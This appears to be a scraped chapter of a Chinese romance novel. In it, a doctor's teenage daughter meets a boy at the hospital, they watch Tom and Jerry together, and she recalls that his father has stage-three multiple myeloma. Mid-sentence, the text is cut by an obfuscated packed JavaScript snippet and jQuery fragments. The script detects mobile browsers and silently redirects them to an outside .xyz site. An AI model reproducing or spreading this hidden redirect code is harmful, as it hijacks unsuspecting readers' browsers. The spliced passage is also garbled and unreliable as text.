晨光穿透纱帘,关笑吟抱着枕头滚到床沿,空调出风口掀起的碎发糊了她满脸,空调被也被她蹬成漩涡状。
“咚、咚、咚——”
关既明第三次叩响门板的节奏已透出明显的不耐烦,说话声音又冷又脆:“我已经快迟到了,没有时间给你磨蹭,你再不起床,下个月漫画新刊——”
“起了起了,关主任!”少女鲤鱼打挺坐起身,惊落了枕边的漫画书,截断了老关的“威胁”后,才放松下来醒神。
片刻后,她对着穿衣镜胡乱套上牛仔短裤,镜子角落的便利贴上还留着假期刚开始那会儿用荧光笔写的“暑假计划”,第一条“早起运动”已被红笔打了个巨大的叉,旁边还画着个龇牙咧嘴的简笔画小人,脑袋上顶着“计划赶不上变化”的对话框。
医生的小孩都在医院长大,消毒水腌入味的童年总带着医院特有的冷调浪漫,注射器能当水枪,病历本折过纸飞机,连生日蛋糕都沾着让人印象深刻的碘伏味道。
关笑吟照例一早被带到老关办公室自习,窗台的茉莉香熏混着走廊飘来的消毒水味,催得她眼皮直打架,数学卷上的数字没一会儿就开始变形,她趴在榆木办公桌上晃着腿,铅笔在草稿纸上漫游,勾出个顶着爆炸头的柯南。
关既明查房回来时,她就是这种状态。
老关见状,关上办公室的门就开喊:“关笑吟!你看看你什么样子,就这个学习态度,不知道你怎么考上的实验中学。”
数学试卷被她的胳膊肘压出波浪纹,关笑吟的姿态依旧懒散,“关主任,上个月我为了考试冲刺的时候,您还夸我像您小时候一样专注。”
“你那也是难得,大多数时候你可不像我,我像你这么大的时候,哪敢把英语辞典挖成藏宝洞。”关既明还记着关笑吟六年级因此被带家长的旧账,说话的同时两根手指精准夹出试卷底下的漫画,封面上正是坂田银时的死鱼眼,“第几回了?上周是《火影忍者》,上上周是《名侦探柯南》——”
眼看老关又要开始长篇大论。
他似乎恨不得她就当个书呆子,没一点别的爱好。
被抓了个正着的关笑吟不想听唠叨,她像被踩了尾巴的猫般跳了起来,捂着耳朵,抱着习题册和学习机逃出医生办公室,“好了好了,别说了,啊啊啊——我要去找个透气的地方学习。”
安静的住院部走廊里,逃出医生办公室的少女因为漫画书被没收而满腹不满,自言自语地嘀嘀咕咕着,没去找什么透气的地方,而是上电梯下一楼,她要去买瓶水降降这心里跟她爹撒不出去的火气。
出了电梯,一楼走廊尽头的自动贩卖机泛着冷冰冰的金属光泽,她数着零钱包里的硬币盘算。
钢镚突然不小心从指缝溜走,叮铃铃滚过防滑地砖的纹路,与一双白球鞋相撞后才停下来。
关笑吟追着银光小跑过去,弯腰捡钱时发梢扫过白球鞋主人的手肘,“不好意思——”
抬头后,剩下的半截话卡在她喉咙里。
眼前是一张半个月前见过的熟脸。
陶昨非睫毛投下的阴影正在她瞳孔里晃荡。
关笑吟有些意外,刚想跟他打招呼,却敏锐发现他此刻的关注点明显不在她身上。
少年曲起指节叩击着贩卖机玻璃,腕骨凸起的弧度比她记忆里更分明。
“又吞钱?”关笑吟立马发现他遇到了什么问题,她没犹豫地将手上抱着的一堆东西随意放在地上,准备帮忙。
陶昨非拍打机器的动作顿住。
“这玩意儿吃硬不吃软。”关笑吟利落地用草莓发圈绑好头发,马尾在她颈后晃出圆润弧度。
她用凉鞋尖轻轻踢了踢机器底座,而后突然整个人贴上去,左耳紧贴沁凉的玻璃面,鼻尖在倒影里压成滑稽的圆点,右手握拳往出货口上方三寸的位置重重一捶——
“咚!”
一瓶矿泉水应声坠落,震得贩卖机里的其他饮料集体打了个哆嗦。
陶昨非眉梢动了动,弯腰拿出他买的水,“这么厉害?你经常被吞钱?”
“这叫物理说服,专治各种不服。”铁疙瘩刚挨了揍格外乖巧,关笑吟投币后,哐当吐出一罐可乐,“被吞了几回钱之后,护士姐姐教我的,比找后勤处快多了。”
易拉罐拉环扯开,气泡滋滋漫过她指尖,夏日的燥热突然溶解成碳酸饮料的甜。
“要看《猫和老鼠》吗?”走廊座椅被阳光切成明暗两截,关笑吟弯腰抱起被她扔在地上的书本,扭头走向阴凉处。
她大剌剌地在长椅上坐下,打开学习机,边品味着可口可乐,边播放起下载好的视频。
穿堂风卷着门外热气袭来,陶昨非的衬衫被吹得像鼓满风的帆。
他喝着水在她身边坐下,她便把耳机分给他一只,片头曲正在播放。
汤姆猫被熨斗烫成波浪形时,关笑吟扑哧笑出声,手肘不小心碰到身边人的矿泉水瓶。
陶昨非倒是冷静,将水瓶与她拉开了点距离,慢悠悠地又抿了口水。
关笑吟歪头打量陶昨非,见他表情里没有一丝笑意,她受不了有人用这样冷淡的表情看她心爱的动画片。
关笑吟想了想,抬手暂停屏幕画面,向身旁人提问:“给你三秒钟,说出这个画面里最不科学的三件事。”
陶昨非的目光一动不动,像是要把屏幕上的卡通老鼠盯出洞来,他倒是没不理她,很快就配合她,回答:“第一,这个抛物线轨迹不太合理……”
“错!”关笑吟提问他,就是为了说出这个字,她大声否定了他,然后猛地灌了口可乐,“最不科学的是——对着这么好笑的画面,你居然没笑!”
她不敢置信的样子,像是在问他要个解释。
这样的解释,陶昨非给得出:“因为我确实在想,这样的抛物线轨迹未免太不合理。”
关笑吟瞪圆了眼,易拉罐捏得咔咔作响,“陶同学,看动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680176|173259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
画片带计算器很容易没朋友的。”
“不想点别的,光看这个不觉得幼稚吗?”陶昨非满眼认真地问她。他们都已经不是小学生了。
关笑吟暗自咽下了对他更强力的攻击,却收到了他的攻击。她好心跟他分享快乐,他却完全不懂其中趣味,她坚决抗议:“这哪儿幼稚了,不想动脑子的时候看,不知道多治愈。”
关笑吟心里想说你不爱看别看,但嘴上嫌幼稚的陶昨非却也没有要把耳机还给她的意思。
他俩继续一起看着。
当杰瑞把汤姆尾巴打成蝴蝶结时,陶昨非抿紧的唇角终于泄出丝笑意。
关笑吟立刻揪住他袖口,“笑了吧,刚才谁嫌幼稚来着?”
少年别开脸,“太阳晃的。”
“是是是,你连笑都要考虑光线折射。”关笑吟毫不留情地取笑他。
直到陶昨非的耳廓都泛红,她才得意扬扬地放过他。
而后不知不觉又过了好一会儿,他俩看得正投入的时候,面前有个护士路过,鞋跟在地砖上敲出轻微脆响。
“小关同学?”
关笑吟叼着易拉罐边缘抬头,正对上小护士促狭的笑眼,“原来你在这儿啊。关主任在楼上急死了,找你找得都要去调监控了。”
“啊?”关笑吟拿下嘴上的易拉罐回话,看了眼屏幕上的时间,竟然已经过去一个多小时,数学试卷一题都没多写,她吓得立刻起身,手忙脚乱地收拾东西,同时跟陶昨非道别,“完了完了,我爸找我了,我得先走了。”
陶昨非坐在原地,没出声,点了下头,看她收拾东西。
关笑吟一手抱着书本,一手拿起老关不让她喝的可乐一口闷,空罐子着急忙慌地塞进陶昨非手里,“帮个忙!”
陶昨非双手并用,才抓住差点要掉地上的易拉罐。
“谢啦!”她倒退着往电梯跑,马尾在阳光下甩出金色弧线。
等电梯的那几十秒,关笑吟一边祈祷电梯快点下来,一边回头看了眼还坐在座椅上的陶昨非。
他手里拿着可乐罐,没着急去扔,整个人懒散地靠着椅背,目光盯着门外看,不知是不是在等谁。
关笑吟只能看见他的侧脸,逆光勾勒出少年清瘦的轮廓,他颈部支棱的骨节白得近乎透明,像从冰川裂隙里折出的冰凌,在盛夏骄阳下泛出冷冽的光。
她盯着那抹冷白停滞了数秒,随即抽回了视线。
他俩这么自来熟地玩了半天,到了告别的时刻,关笑吟都没问他一句,他怎么在医院。是因为她知道他今天出现在医院的原因。
老关前几天在餐桌上的叹息还犹在耳边——请他们吃海鲜大餐的陶叔叔生病了,该方面最权威的医生之一刚好在老关工作的医院,在他的引荐帮助下,陶叔叔已经开始了正式的治疗流程。
关笑吟当时呆了一会儿,懵懵懂懂地好奇过:“什么病?”
老关叹气,“多发性骨髓瘤三期。”